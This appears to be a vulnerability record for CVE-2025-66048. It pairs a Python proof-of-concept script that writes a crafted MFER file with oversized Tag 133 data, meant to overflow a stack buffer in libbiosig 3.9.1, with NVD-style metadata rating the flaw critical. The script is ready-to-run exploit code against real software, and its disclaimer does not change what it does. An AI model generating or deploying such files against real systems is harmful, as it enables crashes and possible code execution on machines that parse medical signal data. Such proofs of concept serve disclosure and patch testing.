CVE-2025-66048

#!/usr/bin/env python3 """ CVE-2025-66048 PoC - MFER File with Tag 133 Stack Buffer Overflow This PoC generates a malicious MFER file that triggers stack-based buffer overflow when parsed by libbiosig 3.9.1. WARNING: For educational and research purposes only. """ import struct import sys def create_malicious_mfer(): """Generate a malicious MFER file with oversized Tag 133 data""" # MFER file header header = b'MFER' # MFER magic bytes # Version field version = struct.pack('<I', 1) # Create a record with Tag 133 and oversized data tag_133 = 133 # Craft oversized data to trigger stack buffer overflow # The data size exceeds the stack buffer capacity overflow_size = 2048 # Size likely to overflow typical stack buffers overflow_data = b'A' * overflow_size # MFER record structure: [Tag(4 bytes)][Length(4 bytes)][Data] record = struct.pack('<I', tag_133) record += struct.pack('<I', len(overflow_data)) record += overflow_data # Combine all parts mfer_content = header + version + record return mfer_content def main(): if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <output_file.mfer>") print("Generating malicious MFER file for CVE-2025-66048...") output_file = "exploit_CVE-2025-66048.mfer" else: output_file = sys.argv[1] malicious_content = create_malicious_mfer() with open(output_file, 'wb') as f: f.write(malicious_content) print(f"Malicious MFER file created: {output_file}") print(f"File size: {len(malicious_content)} bytes") print(f"Overflow data size: 2048 bytes") print("\nThis file can trigger stack buffer overflow when parsed by libbiosig 3.9.1") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-66048", "sourceIdentifier": "[email protected]", "published": "2025-12-11T17:15:59.023", "lastModified": "2025-12-17T20:23:57.247", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Several stack-based buffer overflow vulnerabilities exists in the MFER parsing functionality of The Biosig Project libbiosig 3.9.1. A specially crafted MFER file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger these vulnerabilities.When Tag is 133"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libbiosig_project:libbiosig:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.9.2", "matchCriteriaId": "2D3CD139-6F71-4B97-95A3-A52466FF6563"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2296", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}